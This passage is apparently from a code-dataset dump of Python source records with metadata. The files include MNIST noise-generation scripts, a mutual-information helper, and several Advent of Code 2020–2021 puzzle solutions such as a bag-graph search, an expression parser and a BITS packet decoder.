argparse.ArgumentParser(description='Add standard deviation')\nparser.add_argument('sigma', metavar='S', type=float, default = 0.1,\n help='Standard deviation value')\n\nargs = parser.parse_args()\nsigma = args.sigma\n\nmu = 0\n\n# df = pd.read_csv('src/t-sne_implementation/mnist2500_X_01.txt', sep=' ')\n\nX = np.loadtxt(\"data/processed/mnist/mnist2500_X_01.txt\")\nprint(X)\nX0 = np.reshape(X[0], [28,28])\n\nplt.title(f\"Sigma: {sigma}\")\n\nplt.subplot(1, 3, 1)\nplt.imshow(X0,cmap=plt.get_cmap('gray'))\nplt.title(\"Regular\")\n\n\n\n# for sigma in np.arange(0.1,0.6,0.1):\nnoise = np.random.normal(mu, sigma, X.shape) \nnoisy_X = X + noise\n\nmini = np.min(noisy_X)\nmaxi = np.max(noisy_X)\n\nnoisy_X = noisy_X/maxi - mini\n\nnoisy_X0 = np.reshape(noisy_X[0], [28,28])\n\nplt.subplot(1, 3, 2)\nplt.imshow(noisy_X0,cmap=plt.get_cmap('gray'))\nplt.title(\"Normal noise\")\n\nsize = len(X[0])\nno_pixels = np.random.randint(0,int((size-1)*sigma))\nidx_to_modify = np.random.choice(size, no_pixels)\n\nsalt_pepper_X = X[0]\n\nfor i in idx_to_modify:\n # salt_pepper_X[i] = np.random.randint(0,1)\n if salt_pepper_X[i] == 1:\n salt_pepper_X[i] = 0\n else:\n salt_pepper_X[i] = 1\n\nsalt_pepper_X0 = np.reshape(salt_pepper_X, [28,28])\n\nplt.subplot(1, 3, 3)\nplt.imshow(salt_pepper_X0,cmap=plt.get_cmap('gray'))\nplt.title(\"Salt+Pepper noise\")\nplt.show()", "id": "9351252", "language": "Python", "matching_score": 4.163306713104248, "max_stars_count": 0, "path": "src/data/show_noisy_mnist.py" }, { "content": "import numpy as np\n\nDATA_PATH = \"data/processed/mnist/mnist2500_X_01.txt\"\nDATA_OUTPUT_PATH = \"data/processed/noisy_mnist/\"\n\nX = np.loadtxt(DATA_PATH)\n\nmu, sigma = 0, 5.0\n\nsize = len(X[0])\n# for sigma in np.arange(0.1,1.1,0.1):\nprint(f\"Creating noisy dataset for mu: {mu} and sigma {sigma}\")\n\nnoise = np.random.normal(mu, sigma, X.shape) \nnoisy_X = X + noise\n\nmini = np.min(noisy_X)\nmaxi = np.max(noisy_X)\n\nnoisy_X = (noisy_X-mini)/maxi\nprint(f\"mini {mini}\")\nprint(f\"maxi {maxi}\")\n\n# no_pixels = np.random.randint(0,int((size-1)*sigma))\n# idx_to_modify = np.random.choice(size, no_pixels)\n\n# noisy_X = X\n\n# for i in range(len(noisy_X)):\n# for index in idx_to_modify:\n# # salt_pepper_X[i] = np.random.randint(0,1)\n# if noisy_X[i][index] == 1:\n# noisy_X[i][index] = 0\n# else:\n# noisy_X[i][index] = 1\n\nnp.savetxt(DATA_OUTPUT_PATH + f\"mnist2500_X_01_sigma{int(sigma*10)}.txt\",noisy_X)\n\n\n\n\n\n", "id": "1141929", "language": "Python", "matching_score": 0.032665666192770004, "max_stars_count": 0, "path": "src/data/create_noisy_mnist.py" }, { "content": "from setuptools import find_packages, setup\n\nsetup(\n name='src',\n packages=find_packages(),\n version='0.1.0',\n description='Mapping high dimensional data in latent spaces',\n author='LBH',\n license='MIT',\n)\n", "id": "9301156", "language": "Python", "matching_score": 0.5765834450721741, "max_stars_count": 0, "path": "setup.py" }, { "content": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Apr 7 09:06:18 2022\r\n\r\n@author: blanc\r\n\"\"\"\r\n\r\nimport numpy as np\r\n\r\ndef calcMI(Z1,Z2):\r\n P=np.dot(Z1,np.transpose(Z2))\r\n PXY = P/np.sum(P)\r\n PXPY = np.transpose([np.sum(PXY,1)])*np.sum(PXY,0)\r\n ind = PXY>0\r\n MI=np.sum(np.multiply(PXY[ind],np.log(np.divide(PXY[ind],PXPY[ind]))));\r\n return MI\r\n\r\ndef calcNMI(Z1,Z2):\r\n NMI=(2*calcMI(Z1,Z2))/(calcMI(Z1,Z1)+calcMI(Z2,Z2));\r\n return NMI\r\n\r\ndef arr2mat(a,K):\r\n N = np.size(a)\r\n M = np.zeros((K*N,1))\r\n M[np.subtract(a+np.multiply([*range(N)],K),1)] = 1\r\n M = np.transpose(np.reshape(M,(N,K)))\r\n return M", "id": "7915531", "language": "Python", "matching_score": 0.38372913002967834, "max_stars_count": 0, "path": "src/mutInf.py" } ]
1.732779
bbornstein
[ { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2020, Day 7 (https://adventofcode.com/2020/day/7)\n# Author: <NAME>\n\n\nimport re\n\n\nclass Bag (object):\n \"\"\"Bags have a `color` and quantity (`qty`).\n\n A Bag's allowed quantity (`qty`) is really a property of containing\n (parent) `bag`, but it's most convenient to store on a Bag itself.\n Bag (objects) are lightweight (pun intended) and only a Bag's\n `color` is used for the purposes of identity (equality and hashing),\n i.e.:\n\n Bag('1 shiny gold bag') == Bag('2 shiny gold bags'), and so on.\n \"\"\"\n __slots__ = 'color', 'qty'\n Pattern = re.compile('(\\d+)?\\s?(\\w+ \\w+)\\s?(bag|bags)?\\.?')\n\n def __init__ (self, desc):\n \"\"\"Creates a new Bag based on a string description with many variations\n on a theme (see Bag.Pattern regular expression), e.g.:\n\n - shiny gold\n - vibrant plum bag\n - 2 dark orange bags\n \"\"\"\n match = Bag.Pattern.search(desc)\n self.color = match[2]\n self.qty = int( match[1] ) if match[1] else 0\n\n def __eq__ (self, other):\n return self.color == other.color\n\n def __hash__ (self):\n return hash(self.color)\n\n def __str__ (self):\n return self.color\n\n\ndef bags (graph, bag):\n \"\"\"Return the number of bags that `bag` can contain.\"\"\"\n if len( graph[bag] ) == 0:\n return 0\n else:\n return sum(b.qty + (b.qty * bags(graph, b)) for b in graph[bag])\n\n\ndef contains (graph, bag, bags):\n \"\"\"Indicates whether `bag` is (eventually) in `bags` (or its bags).\"\"\"\n return bag in bags or any(contains(graph, bag, graph[b]) for b in bags)\n\n\ndef lines (filename, func=None):\n \"\"\"Python iterator over lines in filename. If func is given, it is\n applied to each line before yielding (returning) it.\n \"\"\"\n with open(filename) as stream:\n for line in stream.readlines():\n yield func(line) if func else line\n\n\ndef parse (line):\n \"\"\"Parses line and returns a tuple of `(bag, contents)` where `bag` is a\n `Bag` and `contents` is a list of `Bag`s that `bag` contains.\n \"\"\"\n node, rest = line.strip().split(' contain ', 2)\n return Bag(node), [ Bag(s) for s in rest.split(', ') ]\n\n\n# Part 1\n#\n# Q: How many bag colors can contain at least one shiny gold bag?\n# A: Part 1: Bag colors containing a shiny gold bag: 259.\n\nbag = Bag('shiny gold')\nempty = Bag('no other')\nfilename = 'aoc-2020-d07.txt'\ngraph = { bag: contents for bag, contents in lines(filename, parse) }\ngraph[empty] = [ ]\n\ncolors = set(b for b in graph if contains(graph, bag, graph[b]))\nprint(f'Part 1: Bag colors containing a {bag} bag: {len(colors)}.')\n\n\n# Part 2\n#\n# Q: How many bags are required inside your single shiny gold bag?\n# A: Part 2: Bags required inside shiny gold bag: 45018.\n\nprint(f'Part 2: Bags required inside {bag} bag: {bags(graph, bag)}.')\n", "id": "9171591", "language": "Python", "matching_score": 1.7240097522735596, "max_stars_count": 0, "path": "2020/day07/aoc-2020-d07.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2021, Day 12 (https://adventofcode.com/2021/day/12)\n# Author: <NAME>\n\n\nimport collections\n\n\ndef allowed_once (cave, visited):\n \"\"\"Only allows small caves to be visited once. Returns False if `cave`\n is small and already in `visited`.\n \"\"\"\n return big(cave) or (small(cave) and cave not in visited)\n\n\ndef allowed_twice (cave, visited):\n \"\"\"Only allows a single small cave to be visited twice. Returns False\n if `cave` is small and any small cave is already in `visited` twice.\n \"\"\"\n return big(cave) or (cave not in visited or (not twice(visited)))\n\n\ndef big (cave):\n \"\"\"Indicates whether or not `cave` is big.\"\"\"\n return cave.isupper()\n\n\ndef end (cave):\n \"\"\"Indicates whether or not `cave` is 'end'.\"\"\"\n return cave == 'end'\n\n\ndef load (filename):\n \"\"\"Loads and returns a cave graph from `filename`.\n\n The returned cave graph will not contain the special 'start' node in\n any adjacency list since it's a source node. Similarly the special\n 'end' node will contain an empty adjacency list since it's a sink\n node.\n \"\"\"\n caves = collections.defaultdict(list)\n\n with open(filename) as stream:\n for line in stream.readlines():\n src, dst = line.strip().split('-')\n\n if not start(dst):\n caves[src].append(dst)\n\n if not start(src) and not end(dst):\n caves[dst].append(src)\n\n return caves\n\n\ndef paths (caves, allowed):\n \"\"\"Returns a count of all paths through `caves` graph according to\n `allowed` visit function.\n \"\"\"\n count = 0\n visited = [ ]\n\n def visit (caves, cave):\n nonlocal count\n visited.append(cave)\n\n for c in sorted(caves[cave]):\n if end(c):\n count += 1\n elif allowed(c, visited):\n visit(caves, c)\n visited.pop()\n\n for c in sorted(caves['start']):\n visit(caves, c)\n\n return count\n\n\ndef small (cave):\n \"\"\"Indicates whether or not `cave` is small.\"\"\"\n return cave.islower() and not (start(cave) or end(cave))\n\n\ndef start (cave):\n \"\"\"Indicates whether or not `cave` is 'start'.\"\"\"\n return cave == 'start'\n\n\ndef twice (visited):\n \"\"\"Indicates whether or not any small cave as been visited twice.\n Returns True if any small cave is in `visited` twice.\n \"\"\"\n return any(visited.count(cave) == 2 for cave in visited if small(cave))\n\n\nfilename = 'aoc-2021-d12.txt'\ncaves = load(filename)\n\n\n# Part 1\n#\n# Q: How many paths ... that visit small caves at most once?\n# A: Paths = 5212\n\nprint(f'Part 1: Paths = {paths(caves, allowed_once):6}')\n\n\n# Part 2\n#\n# Q: How many paths ... that visit once small cave at most twice?\n# A:\n\nprint(f'Part 2: Paths = {paths(caves, allowed_twice)}')\n", "id": "6195240", "language": "Python", "matching_score": 0.94806969165802, "max_stars_count": 0, "path": "2021/day12/aoc-2021-d12.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2020, Day 18 (https://adventofcode.com/2020/day/18)\n# Author: <NAME>\n\n\nclass AST (object):\n \"\"\"An Abstract Syntax Tree (AST) is comprised of one or more AST nodes.\n Each node may have an optional `op`erator and, `left` and `right`\n child nodes.\n\n Child nodes may be `None`. If `op` and `right` are `None`, the AST\n node represents a single value, stored in the `left` node.\n \"\"\"\n\n def __init__ (self, left, op=None, right=None):\n \"\"\"Creates a new AST node.\"\"\"\n self.left = left\n self.op = op\n self.right = right\n\n def evaluate (self):\n \"\"\"Evaluates the AST and returns the resulting value.\"\"\"\n result = None\n\n if self.op is None:\n result = self.left\n elif self.op == '+':\n result = self.left.evaluate() + self.right.evaluate()\n elif self.op == '*':\n result = self.left.evaluate() * self.right.evaluate()\n\n return result\n\n\nclass AbstractParser (object):\n \"\"\"An AbstractParser parses the given `formula` string by calling the\n `expr()` method (must be implemented by subclasses).\n \"\"\"\n\n def __init__ (self, formula):\n \"\"\"Creates a new AbstractParser to parse `formula`.\"\"\"\n self.t = 0\n self.tokens = list( formula.replace(' ', '') ) # Lexer\n self.ast = self.expr()\n\n if self.t != len(self.tokens):\n msg = f'Parse of \"{formula}\" stopped after {self.t} tokens.'\n raise SyntaxError(msg)\n\n @property\n def symbol (self):\n \"\"\"The current symbol being parsed.\"\"\"\n return self.tokens[ self.t ] if self.t < len(self.tokens) else None\n\n def expr (self):\n \"\"\"The start of the grammer to parse. Subclasses must implement.\"\"\"\n msg = 'Subclasses must implement expr() to start their grammar.'\n raise NotImplementedError(msg)\n\n def match (self, token):\n \"\"\"Matches `token` to the current `symbol` being parsed and advances to\n the next token. If the current `symbol` does not match `token`,\n raises a `SyntaxError`.\n \"\"\"\n if self.symbol == token:\n self.t += 1\n else:\n raise SyntaxError(f'Expected token: \"{token}\".')\n\n\nclass Parser1 (AbstractParser):\n \"\"\"Parses infix integer addition and multiplication formula strings,\n with both operators having the same precedence, expressed formally\n in the following grammar:\n\n expr -> expr [ '+' | '*' ] term | term\n term -> '(' expr ')' | integer\n\n by using recursive descent parsing. To avoid infinite recursion,\n the production rules above are transformed to eliminate\n left-recursion:\n\n expr -> term expr1\n expr1 -> [ '+' | '*' ] term expr1 | (empty)\n term -> '(' expr ')' | integer\n \"\"\"\n\n def expr (self):\n \"\"\"Rule: expr -> term expr1\"\"\"\n left = self.term()\n return self.expr1(left)\n\n def expr1 (self, left):\n \"\"\"Rule: expr1 -> [ '+' | '*' ] term expr1 | (empty)\"\"\"\n node = left\n op = self.symbol\n\n if op == '+' or op == '*':\n self.match(op)\n term = self.term()\n node = self.expr1( AST(left, op, term) )\n\n return node\n\n def term (self):\n \"\"\"Rule: term -> '(' expr ')' | integer\"\"\"\n node = None\n\n if self.symbol == '(':\n self.match('(')\n node = self.expr()\n self.match(')')\n else:\n node = AST( int(self.symbol) )\n self.match(self.symbol)\n\n return node\n\n\nclass Parser2 (AbstractParser):\n \"\"\"Parses infix integer addition and multiplication formula strings,\n with addition having higher precedence than multiplication, expressed\n formally in the following grammar:\n\n expr -> expr '*' factor | factor\n factor -> factor '+' term | term\n term -> '(' expr ')' | integer\n\n by using recursive descent parsing. To avoid infinite recursion,\n the production rules above are transformed to eliminate\n left-recursion:\n\n expr -> factor expr1\n expr1 -> '*' factor expr1 | (empty)\n factor -> term factor1\n factor1 -> '+' term factor1 | (empty)\n term -> '(' expr ')' | integer\n \"\"\"\n\n def expr (self):\n \"\"\"Rule: expr -> factor expr1\"\"\"\n left = self.factor()\n return self.expr1(left)\n\n def expr1 (self, left):\n \"\"\"Rule: expr1 -> '*' factor expr1 | (empty)\"\"\"\n node = left\n\n if self.symbol == '*':\n self.match('*')\n factor = self.factor()\n node = self.expr1( AST(left, '*', factor) )\n\n return node\n\n def factor (self):\n \"\"\"Rule: factor -> term factor1\"\"\"\n left = self.term()\n return self.factor1(left)\n\n def factor1 (self, left):\n \"\"\"Rule: factor1 -> '+' term factor1 | (empty)\"\"\"\n node = left\n\n if self.symbol == '+':\n self.match('+')\n term = self.term()\n node = self.factor1( AST(left, '+', term) )\n\n return node\n\n def term (self):\n \"\"\"Rule: term -> '(' expr ')' | integer\"\"\"\n node = None\n\n if self.symbol == '(':\n self.match('(')\n node = self.expr()\n self.match(')')\n else:\n node = AST( int(self.symbol) )\n self.match(self.symbol)\n\n return node\n\n\ndef lines (filename, func=None):\n \"\"\"Python iterator over lines in filename. If func is given, it is\n applied to each line before yielding (returning) it.\n \"\"\"\n with open(filename) as stream:\n for line in stream.readlines():\n yield func(line) if func else line\n\n\neval1 = lambda formula: Parser1(formula).ast.evaluate()\neval2 = lambda formula: Parser2(formula).ast.evaluate()\nfilename = 'aoc-2020-d18.txt'\nexpressions = list( lines(filename, lambda s: s.strip()) )\n\n\n# Part 1\n#\n# Before you can help with the homework, you need to understand it\n# yourself. Evaluate the expression on each line of the homework.\n#\n# Q: What is the sum of the resulting values?\n# A: Part 1: Sum of homework expressions: 36382392389406\n\nassert eval1('2 * 3 + (4 * 5)') == 26\nassert eval1('5 + (8 * 3 + 9 + 3 * 4 * 3)') == 437\nassert eval1('5 * 9 * (7 * 3 * 3 + 9 * 3 + (8 + 6 * 4))') == 12240\nassert eval1('((2 + 4 * 9) * (6 + 9 * 8 + 6) + 6) + 2 + 4 * 2') == 13632\n\nvalues = [ eval1(expr) for expr in expressions ]\nprint(f'Part 1: Sum of homework expressions: {sum(values)}')\n\n\n# Part 2\n#\n# Q: What do you get if you add up the results of evaluating the homework\n# problems using these new rules?\n# A: Part 2: Sum of homework expressions: 381107029777968\n\nassert eval2('1 + (2 * 3) + (4 * (5 + 6))') == 51\nassert eval2('2 * 3 + (4 * 5)') == 46\nassert eval2('5 + (8 * 3 + 9 + 3 * 4 * 3)') == 1445\nassert eval2('5 * 9 * (7 * 3 * 3 + 9 * 3 + (8 + 6 * 4))') == 669060\nassert eval2('((2 + 4 * 9) * (6 + 9 * 8 + 6) + 6) + 2 + 4 * 2') == 23340\n\nvalues = [ eval2(expr) for expr in expressions ]\nprint(f'Part 2: Sum of homework expressions: {sum(values)}')\n", "id": "3045424", "language": "Python", "matching_score": 1.7141605615615845, "max_stars_count": 0, "path": "2020/day18/aoc-2020-d18.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2020, Day 19 (https://adventofcode.com/2020/day/19)\n# Author: <NAME>\n\n\ndef load (filename):\n \"\"\"Loads and returns a dictionary of rules and a list of messages and\n returns `(rules, messages)`.\n \"\"\"\n with open(filename) as stream:\n top, bottom = stream.read().split('\\n\\n')\n rules = dict( parse(line) for line in top.split('\\n') )\n messages = bottom.strip().split('\\n')\n\n return rules, messages\n\n\ndef match (msg, rules, rule=None):\n \"\"\"Indicates whether or not `msg` matches `rule` in `rules`. If `rule`\n is not specified, it defaults to `rules['0']`.\n \"\"\"\n if rule is None:\n rule = rules['0']\n\n return matchPos(msg, 0, rules, rule) == len(msg)\n\n\ndef matchN (msg, pos, rules, rule, N):\n \"\"\"Indicates whether or not `msg` matches `N` copies of `rule` in\n `rules`, starting at position `pos`.\n\n Returns the position in `msg` just after `N` successful matches, or\n -1 if no match was found.\n \"\"\"\n for n in range(N):\n if (pos := matchPos(msg, pos, rules, rule)) == -1:\n break\n\n return pos\n\n\ndef matchPos (msg, pos, rules, rule):\n \"\"\"Indicates whether or not `msg` matches `rule` in `rules`, starting at\n position `pos`.\n\n Returns the position in `msg` just after a successful match, or -1\n if no match was found.\n \"\"\"\n index = -1\n\n if type(rule) is str:\n if rule.isdigit():\n index = matchPos(msg, pos, rules, rules[rule])\n elif msg[pos] == rule:\n index = pos + 1\n elif len(rule) > 0 and type(rule[0]) is list:\n index = matchPosAny(msg, pos, rules, rule)\n elif len(rule) > 0 and type(rule[0]) is str:\n index = matchPosAll(msg, pos, rules, rule)\n\n return index\n\n\ndef matchPosAll (msg, pos, rules, subrules):\n \"\"\"Indicates whether or not `msg` matches all `subrule` in `rules`,\n starting at position `pos`.\n\n Returns the position in `msg` just after a successful match, or -1\n if no match was found.\n \"\"\"\n index = pos\n\n for rule in subrules:\n if (index := matchPos(msg, index, rules, rule)) == -1:\n break\n\n return index\n\n\ndef matchPosAny (msg, pos, rules, subrules):\n \"\"\"Indicates whether or not `msg` matches any (i.e. a single) `subrule`\n in `rules`, starting at position `pos`.\n\n Returns the position in `msg` just after a successful match, or -1\n if no match was found.\n \"\"\"\n index = -1\n\n for rule in subrules:\n if (index := matchPos(msg, pos, rules, rule)) != -1:\n break\n\n return index\n\n\ndef match_42_31 (msg, rules):\n \"\"\"Indicates whether or not `msg` matches the grammar in `rules`,\n starting with Rule 0 and the following \"loop\":\n\n 0: 8 11\n 8: 42 | 42 8\n 11: 42 31 | 42 11 31\n\n which simplifies to:\n\n 0: (42)^M (31)^N\n\n where M > N.\n \"\"\"\n matched = False\n rule31 = rules['31']\n rule42 = rules['42']\n\n if (pos := matchN(msg, 0, rules, rule42, 1)) != -1:\n matches = int( len(msg) / pos )\n M = (matches // 2) + 1\n\n while M < matches and matched is False:\n N = matches - M\n pos = 0\n match42 = (pos := matchN(msg, pos, rules, rule42, M)) != -1\n match31 = (pos := matchN(msg, pos, rules, rule31, N)) != -1\n matched = pos == len(msg) and match42 and match31\n M += 1\n\n return matched\n\n\ndef parse (line):\n \"\"\"Parses a rule line and returns `(rule, subrules)`.\"\"\"\n rule, rhs = (s.strip() for s in line.split(':'))\n\n if rhs.count('\"') == 2:\n subrules = rhs.replace('\"', '')\n elif rhs.count('|') == 0:\n subrules = rhs.split()\n else:\n subrules = [ s.split() for s in rhs.split('|') ]\n\n return rule, subrules\n\n\nfilename = 'aoc-2020-d19.txt'\nrules, messages = load(filename)\n\n\n# Part 1\n#\n# Q: How many messages completely match rule 0?\n# A: Part 1: Messages matching Rule 0: 165.\n\nmatches = sum( int(match(msg, rules)) for msg in messages)\nprint(f'Part 1: Messages matching Rule 0: {matches}.')\n\n\n# Part 2\n#\n# Q: After updating rules 8 and 11, how many messages match rule 0?\n# A: Part 2: Messages matching Rule 0: (42)^M (31)^N: 274.\n\nmatches = sum( int(match_42_31(msg, rules)) for msg in messages)\nprint(f'Part 2: Messages matching Rule 0: (42)^M (31)^N: {matches}.')\n", "id": "5167318", "language": "Python", "matching_score": 0.4622710645198822, "max_stars_count": 0, "path": "2020/day19/aoc-2020-d19.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2020, Day 13 (https://adventofcode.com/2020/day/13)\n# Author: <NAME>\n\n\ndef crt (nrs):\n \"\"\"Solves a system of modular congruences by finding `x` (return value),\n given a list of modulus factors (n_i's) and remainders (r_i's), such\n that `x` is the smallest positive integer that satisfies the\n following:\n\n x mod n_1 = r_1\n ...\n x mod n_k = r_k\n\n Where `nrs = [(n_1, r_1), ... (n_k, r_k)]`.\n\n The solution uses the Chinese Remainder Theorem [1] and implements a\n Sieve Search [2]. This method is *exponential* time complexity, but\n is *much* more efficient than a systematic (linear) search. It\n takes only a few hundredths of a second on the puzzle input and is\n incredibly straightforward to implement (and understand).\n\n [1]: https://en.wikipedia.org/wiki/Chinese_remainder_theorem\n [2]: https://en.wikipedia.org/wiki/Chinese_remainder_theorem#Search_by_sieving\n \"\"\"\n ns, rs = zip( *list( reversed( sorted(nrs, key=lambda t: t[0]) ) ) )\n r = ns[0]\n result = rs[0]\n\n for i in range(1, len(nrs)):\n while result % ns[i] != rs[i]:\n result += r\n r *= ns[i]\n\n return result\n\n\nfilename = 'aoc-2020-d13.txt'\n\nwith open(filename) as stream:\n depart = int( stream.readline() )\n schedule = stream.readline().split(',')\n\n\n# Part 1\n#\n# Q: What is the ID of the earliest bus you can take to the airport\n# multiplied by the number of minutes you'll need to wait for that bus?\n#\n# A: Part 1: Bus (59) * wait (5) = 295.\n\nbuses = [ int(s) for s in schedule if s != 'x' ]\nwaits = [ (b, -depart % b) for b in buses ]\nbus, wait = min(waits, key=lambda t: t[1])\n\nprint(f'Part 1: Bus ({bus}) * wait ({wait}) = {bus * wait}.')\n\n\n# Part 2\n#\n# Q: What is the earliest timestamp such that all of the listed bus IDs\n# depart at offsets matching their positions in the list?\n#\n# A: Part 2: Earliest timestamp: 213890632230818.\n\nbuses = [ (pos, int(s)) for pos, s in enumerate(schedule) if s != 'x' ]\nnrs = [ (bus, -pos % bus) for pos, bus in buses ]\n\nprint(f'Part 2: Earliest timestamp: {crt(nrs)}.' )\n", "id": "2553889", "language": "Python", "matching_score": 0.1894143670797348, "max_stars_count": 0, "path": "2020/day13/aoc-2020-d13.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2021, Day 16 (https://adventofcode.com/2021/day/16)\n# Author: <NAME>\n\n\nimport collections\nimport functools\nimport operator\n\n\nclass Biterator:\n \"\"\"Iterates over the bits in a given *string* of hexadecimal digits.\"\"\"\n\n\n def __init__ (self, hexstring):\n \"\"\"Creates a new `Biterator` over `hexstring`.\"\"\"\n self._hexstring = hexstring\n self._position = 0\n\n\n def __next__ (self):\n \"\"\"Returns the next leftmost bit (`0` or `1`) in this `Biterator`'s\n `hexstring`.\n \"\"\"\n nibble = self._position // 4\n\n if nibble > len(self._hexstring):\n raise StopIteration\n\n bit = self._position % 4\n mask = { 0: 0x8, 1: 0x4, 2: 0x2, 3: 0x1 }[bit]\n value = (int(self._hexstring[nibble], base=16) & mask) != 0\n self._position += 1\n\n return int(value)\n\n\n @property\n def position (self):\n \"\"\"The current bit position within this `Biterator`.\"\"\"\n return self._position\n\n\n def next (self, nbits=1):\n \"\"\"Returns the next leftmost `nbits` (as an integer) in this `Biterator`'s\n `hexstring`.\n \"\"\"\n value = 0\n \n try:\n while nbits > 0:\n value = (value << 1) | next(self)\n nbits -= 1\n except StopIteration:\n pass\n \n return value\n\n\nPacket = collections.namedtuple('Packet', ['version', 'op', 'value'])\n\n\ndef evaluate (packet):\n \"\"\"Evaluates Buoyancy Interchange Transmission System (BITS) `packet` and\n returns its value.\n \"\"\"\n value = 0\n\n if packet.op == 0:\n value = sum(evaluate(p) for p in packet.value)\n \n elif packet.op == 1:\n value = functools.reduce(operator.mul, (evaluate(p) for p in packet.value), 1)\n \n elif packet.op == 2:\n value = min(evaluate(p) for p in packet.value)\n \n elif packet.op == 3:\n value = max(evaluate(p) for p in packet.value)\n \n elif packet.op == 4:\n value = packet.value\n \n elif packet.op == 5:\n value = int( evaluate(packet.value[0]) > evaluate(packet.value[1]) )\n\n elif packet.op == 6:\n value = int( evaluate(packet.value[0]) < evaluate(packet.value[1]) )\n \n elif packet.op == 7:\n value = int( evaluate(packet.value[0]) == evaluate(packet.value[1]) )\n\n return value\n\n\ndef parse (data):\n \"\"\"Parses `data` and returns a corresponding Buoyancy Interchange Transmission\n System (BITS) `Packet`.\n \n The parameter `data` may be either a *string* of hexadecimal digits or a\n `Biterator`.\n \"\"\"\n bits = data if type(data) is Biterator else Biterator(data)\n\n version = bits.next(3)\n op = bits.next(3)\n\n if op == 4:\n done = False\n value = 0\n\n while not done:\n done = bits.next(1) == 0\n value = (value << 4) | bits.next(4)\n\n else:\n lengthid = bits.next(1)\n\n if lengthid == 0:\n nbits = bits.next(15)\n stop = bits.position + nbits\n value = [ ]\n\n while bits.position < stop:\n value.append( parse(bits) )\n \n value = tuple(value)\n\n else:\n npackets = bits.next(11)\n value = [ parse(bits) for p in range(npackets) ]\n\n value = tuple(value)\n\n return Packet(version, op, value)\n\n\ndef versions (packet):\n \"\"\"Iterable over this packet's version and versions of all sub-packets.\"\"\"\n yield packet.version\n \n if type(packet.value) is tuple:\n for p in packet.value:\n yield from versions(p)\n\n\n# Part 1\n#\n# Q: What is the sum of the version numbers in all packets?\n# A: Version Su == 31\n\nassert parse('D2FE28') == Packet(version=6, op=4, value=2021)\nassert parse('38006F45291200') == Packet(version=1, op=6, value=(\n Packet(version=6, op=4, value=10),\n Packet(version=2, op=4, value=20) ))\nassert parse('EE00D40C823060') == Packet(version=7, op=3, value=(\n Packet(version=2, op=4, value=1),\n Packet(version=4, op=4, value=2),\n Packet(version=1, op=4, value=3) ))\n\nassert sum( versions( parse('8A004A801A8002F478') ) ) == 16\nassert sum( versions( parse('620080001611562C8802118E34') ) ) == 12\nassert sum( versions( parse('C0015000016115A2E0802F182340') ) ) == 23\nassert sum( versions( parse('A0016C880162017C3686B18A3D4780') ) ) == 31\n\nfilename = 'aoc-2021-d16.txt'\n\nwith open(filename) as stream:\n packet = stream.read().strip()\n\nprint(f'Version Sum = {sum( versions( parse(packet) ) )}')\n\n\n# Part 2\n#\n# Q: Evaluate the expression represented by your hexadecimal-encoded BITS transmission?\n# A: Result = 1392637195518\n\nassert evaluate( parse('C200B40A82') ) == 3\nassert evaluate( parse('04005AC33890') ) == 54\nassert evaluate( parse('880086C3E88112') ) == 7\nassert evaluate( parse('CE00C43D881120') ) == 9\nassert evaluate( parse('D8005AC2A8F0') ) == 1\nassert evaluate( parse('F600BC2D8F') ) == 0\nassert evaluate( parse('9C005AC2F8F0') ) == 0\nassert evaluate( parse('9C0141080250320F1802104A08') ) == 1\n\nprint(f'Result = {evaluate( parse(packet) )}')\n", "id": "1606904", "language": "Python", "matching_score": 1.1974709033966064, "max_stars_count": 0, "path": "2021/day16/aoc-2021-d16.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2021, Day 17 (https://adventofcode.com/2021/day/17)\n# Author: <NAME>\n\n# 1 2 3 4 5 6 7\n#2345678901234567890123456789012345678901234567890123456789012345678901234567890123456789\n\n\nimport collections\nimport itertools\nimport re\n\n\nPosition = collections.namedtuple('Position', ['x', 'y'])\nVelocity = collections.namedtuple('Velocity', ['x', 'y'])\n\n\nclass Probe:\n \"\"\"Probes keep track of their `pos`ition, `vel`ocity and maximum `height`.\"\"\"\n\n def __init__ (self, vx, vy):\n \"\"\"Creates a new `Probe` with initial velocity `vx` and `vy`.\"\"\"\n self.height = 0\n self.pos = Position(0, 0)\n self.vel = Velocity(vx, vy)\n\n\n def launch (self, target):\n \"\"\"Launches this `Probe` toward `target`.\n \n This `Probe` continues until it either hits or decidedly misses the `target`.\n Returns True if `target` is hit, False if `target` is missed.\n \"\"\"\n hit = self.pos in target\n\n while not hit and not target.missed(self):\n self.step()\n hit = self.pos in target\n\n return hit\n\n\n def step (self):\n \"\"\"Steps this `Probe`'s position according to its velocity and adjusts its\n subsequent velocity for drag.\n \"\"\"\n self.pos = Position(self.pos.x + self.vel.x, self.pos.y + self.vel.y)\n self.vel = Velocity(self.vel.x - sign(self.vel.x), self.vel.y - 1)\n self.height = max(self.height, self.pos.y)\n\n\n\nclass Target (collections.namedtuple('Target', ['xrange', 'yrange'])):\n \"\"\"Targets are defined by an `xrange` and `yrange`.\"\"\"\n\n @staticmethod\n def load (filename):\n \"\"\"Loads and returns a `Target` from `filename`.\"\"\"\n with open(filename) as stream:\n return Target.read( stream.read().strip() )\n\n\n @staticmethod\n def read (desc):\n \"\"\"Reads and returns a `Target` from a single line `desc`ription.\"\"\"\n match = re.match(r'target area: x=(-?\\d+)..(-?\\d+), y=(-?\\d+)..(-?\\d+)', desc)\n xmin, xmax, ymin, ymax = [ int(m) for m in match.groups() ]\n\n return Target( range(xmin, xmax + 1), range(ymin, ymax + 1) )\n\n\n def __contains__ (self, pos):\n \"\"\"Indicates whether or not `pos` is contain in this `Target`.\"\"\"\n return pos.x in self.xrange and pos.y in self.yrange \n\n\n def missed (self, probe):\n \"\"\"Indicates whether or not `probe` decidedly missed this `Target`.\"\"\"\n return probe.pos.x > self.xrange.stop or probe.pos.y < self.yrange.start\n\n\ndef sign (x):\n \"\"\"Returns the sign of `x` as `-1`, `0`, or `+1`.\"\"\" \n return 0 if x == 0 else +1 if x > 0 else -1\n\n\nfilename = 'aoc-2021-d17.txt'\n# target = Target.read('target area: x=20..30, y=-10..-5')\ntarget = Target.load(filename)\nheight = 0\ncount = 0\n\nfor vx, vy in itertools.product( range(0, target.xrange.stop), 